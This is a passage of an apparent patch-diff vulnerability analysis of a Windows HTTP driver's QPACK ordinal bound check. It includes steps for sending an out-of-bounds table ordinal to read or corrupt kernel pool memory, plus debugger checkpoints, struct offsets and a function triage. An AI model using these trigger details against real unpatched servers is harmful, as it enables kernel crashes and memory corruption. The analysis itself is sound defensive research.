&lt;/span&gt;&lt;span class="n"&gt;populated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;but&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="ow"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alternatively&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;least&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x2020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;has&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;Either&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OLD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;routine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;

&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HEADERS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QPACK&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;references&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tab&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="n"&gt;dinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;id_2018_bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DELTA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DELTA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chosen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;resulting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;points&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;want&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;corrupt&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;

&lt;span class="mf"&gt;4.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Monitor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;debugger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Breakpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;usable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;ue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exceeding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x2018&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Subsequent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fault&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QkSearchTableByNameValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;QkUpdateLargestReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;violation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BugCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xD1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Expected Observations&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Observation&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Breakpoint hit at &lt;code&gt;+0x04&lt;/code&gt; then &lt;code&gt;+0x80&lt;/code&gt; with &lt;code&gt;dl == 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Non-arg2 bypass active (flag 0, OOB ordinal accepted)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r8&lt;/code&gt; &amp;gt;&amp;gt; &lt;code&gt;*(rcx+0x2018)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ordinal exceeds the valid non-arg2 bound&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OOB index landed on unmapped memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BugCheck 0xD1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OOB access in interrupt context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corrupted pool header → &lt;code&gt;BugCheck 0x19 (BAD_POOL_HEADER)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OOB write corrupted adjacent allocation's metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Struct/Offset Reference&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;QpackCtx (rcx in QkIsOrdinalUseable):
  +0x0048  field_48             — pre-filter limit (routes non-arg2 to the table path)
  +0x2008  field_2008           — pre-filter limit (routes non-arg2 to the table path)
  +0x2010  bound_arg2           — max valid ordinal for arg2 path (check unchanged by patch)
  +0x2018  bound_non_arg2       — max valid ordinal for non-arg2 path (check the OLD routine skips)
  +0x2020  result_ptr           — cached lookup result (ResultEntry*)
  +0x2030  max_entries          — dynamic table capacity
  +0x2038  insert_count         — current number of inserted entries

ResultEntry (pointed to by ctx+0x2020):
  +0x18    marker               — non-zero is one of the two edges that skips the bound check

Not-full / marker shortcut:
  insert_count &amp;lt; max_entries  OR  result-&amp;gt;0x18 != 0  → OLD routine returns usable

Static table boundary:
  0x62                          — ordinals ≤ 0x62 are static table entries
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant Changes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;QkIsOrdinalUseable&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.772&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Primary change.&lt;/strong&gt; Removed the &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; gate; the corrected routine is now unconditional. It always bound-checks a non-arg2 ordinal against &lt;code&gt;+0x2018&lt;/code&gt;, closing the OLD routine's skip on the not-full / result-marker edges.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.961&lt;/td&gt;
&lt;td&gt;Security (root cause)&lt;/td&gt;
&lt;td&gt;Removes initialization of &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; and &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt;. With the flags gone, the per-function branches that selected the OLD &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; routine (and the redundant stats re-zeroing) are removed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Reviewed — No Security-Relevant Change&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1400D2029&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.851&lt;/td&gt;
&lt;td&gt;Instruction offset inside &lt;code&gt;UlCaptureWideString&lt;/code&gt;; string-capture logic identical between builds. Differences are a WPP trace GUID and codegen. No pool free added.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlCaptureWideString&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.801&lt;/td&gt;
&lt;td&gt;Functionally equivalent in both builds; no deferred-free / &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; exists in either. Only a WPP trace GUID and codegen differ.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxpTpAllocateTransmitPacket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.980&lt;/td&gt;
&lt;td&gt;Fields &lt;code&gt;+0x120&lt;/code&gt;/&lt;code&gt;+0x130&lt;/code&gt;/&lt;code&gt;+0x140&lt;/code&gt; are zeroed by the allocation-time &lt;code&gt;memset(pkt,0,0x150)&lt;/code&gt; in both builds; the removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt;-gated re-zero was redundant. The refcount debug check uses &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlHttpAttachConnection&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.985&lt;/td&gt;
&lt;td&gt;Fields &lt;code&gt;+0x100&lt;/code&gt;/&lt;code&gt;+0x110&lt;/code&gt;/&lt;code&gt;+0x120&lt;/code&gt;/&lt;code&gt;+0x130&lt;/code&gt; are zeroed by &lt;code&gt;memset(conn,0,0x4A0)&lt;/code&gt; in both builds; the removed flag-gated re-zero was redundant. No uninitialized data is exposed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral Changes (Non-Security)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1400D5439&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.873&lt;/td&gt;
&lt;td&gt;Simplified redundant double-check; removed WPP trace variable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_140133E9F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.873&lt;/td&gt;
&lt;td&gt;Same simplification pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxpTpMdlSendCompleteWorker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.344&lt;/td&gt;
&lt;td&gt;Major refactor: inlined &lt;code&gt;UxpTpFreeChunkTracker&lt;/code&gt; teardown into success path; added &lt;code&gt;__security_cookie&lt;/code&gt; stack guard; stack frame grew from &lt;code&gt;0x20&lt;/code&gt; to &lt;code&gt;0xB8&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxpTpFreeChunkTracker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.669&lt;/td&gt;
&lt;td&gt;Extracted MDL chain freeing into &lt;code&gt;UxFreeMdlChain()&lt;/code&gt; helper; added explicit NULL-setting after frees. Now only called from error paths.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxpTpEnqueueTransmitPacket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.769&lt;/td&gt;
&lt;td&gt;Extracted MDL byte counting into &lt;code&gt;UxGetMdlChainByteCountEx()&lt;/code&gt;; control-flow restructured to &lt;code&gt;while(true)&lt;/code&gt; loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxTpCleanupTransmitQueue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.877&lt;/td&gt;
&lt;td&gt;Part of transmit packet lifecycle refactor cluster.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxpTpDequeueTransmitPacket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.866&lt;/td&gt;
&lt;td&gt;Part of transmit packet lifecycle refactor cluster.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / Feature-Flag Dead-Code Removal&lt;/h3&gt;
&lt;p&gt;The following functions had &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; or &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; runtime branches removed. In every case, both branches contained identical or equivalent logic; the patch simply removes the conditional and keeps the new-path code. No behavioral change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UxpTpBufferSendCompleteWorker&lt;/code&gt; (0.363) — removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; branch&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpGenerateAuthHeaders&lt;/code&gt; (0.777) — removed &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; duplicated bit-mapping&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpGenerateAuthHeadersOld&lt;/code&gt; (0.769) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpComputeAuthHeaderSize&lt;/code&gt; (0.847) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpComputeAuthHeaderSizeOld&lt;/code&gt; (0.847) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpParseAuthHeader&lt;/code&gt; (0.891) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlVerifyInitializedAuthSchemes&lt;/code&gt; (0.838) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlVerifyAuthConfigOld&lt;/code&gt; (0.897) — same pattern&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlEventRequestDataTransmissionStats&lt;/code&gt; (0.891) — removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; from IRQL check&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpEventRequestConnectionStats&lt;/code&gt; (0.968) — removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; gate&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlEgressDisconnectCompletion&lt;/code&gt; (0.935) — removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; branch&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UxpTpFreeTransmitPacket&lt;/code&gt; (0.973) — removed &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; branch&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlCopyServiceBindings&lt;/code&gt; (0.958) — register/stack-offset renaming&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlCopyServiceBindings$filt$0&lt;/code&gt; (0.989) — minor offset adjustments&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlEventDataTransmissionStats&lt;/code&gt; (0.991) — WPP trace GUID change&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WPP_SF_lllDli&lt;/code&gt; (0.696) — WPP tracing GUID update&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). All changes are in-place modifications to existing functions. The corrected validation routine (&lt;code&gt;QkIsOrdinalUseableNew&lt;/code&gt;) already existed in the unpatched binary and was reached whenever &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; was non-zero; the patch makes it the only path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High that the validation routines differ as described; Medium for the full call chain and default reachability.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale for high confidence on the code difference:&lt;/strong&gt;
- The unpatched &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; (&lt;code&gt;0x14013CA40&lt;/code&gt;) branches on &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt;; the flag-0 body merges arg2 and non-arg2 handling and returns "usable" on the not-full and result-marker edges without a non-arg2 bound check.
- The corrected routine &lt;code&gt;QkIsOrdinalUseableNew&lt;/code&gt; (&lt;code&gt;0x14013CAD0&lt;/code&gt;) gives the non-arg2 case its own branch that always compares against &lt;code&gt;+0x2018&lt;/code&gt;. The patched &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; (&lt;code&gt;0x14013C4E0&lt;/code&gt;) is this corrected routine with the flag test removed.
- &lt;code&gt;UxStartEnvironmentModule&lt;/code&gt; no longer initializes &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; in the patched build, and the flag has no remaining references there.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions that need manual verification:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;KIR default state.&lt;/strong&gt; &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; is a Known Issue Rollback flag set in &lt;code&gt;UxStartEnvironmentModule&lt;/code&gt; from &lt;code&gt;Feature_HttpBugFix25Q2__private_IsEnabledDeviceUsageNoInline()&lt;/code&gt;. Whether the OLD (flag-0) routine is active in a given deployment depends on the feature's default and any pushed rollback, which are not determinable from the binary alone. Read &lt;code&gt;http!UxKirHttpBugFix25Q2&lt;/code&gt; at runtime to confirm which routine is live.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Call chain depth.&lt;/strong&gt; &lt;code&gt;QkEncodePairControl&lt;/code&gt; and &lt;code&gt;QkEncodePairData&lt;/code&gt; are callers, and the recursive self-call &lt;code&gt;QkIsOrdinalUseable(ctx, 0, ordinal)&lt;/code&gt; exercises the non-arg2 path; the full path from the QUIC receive callback through the HTTP/3 framing layer should be confirmed with cross-references or a stack trace.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
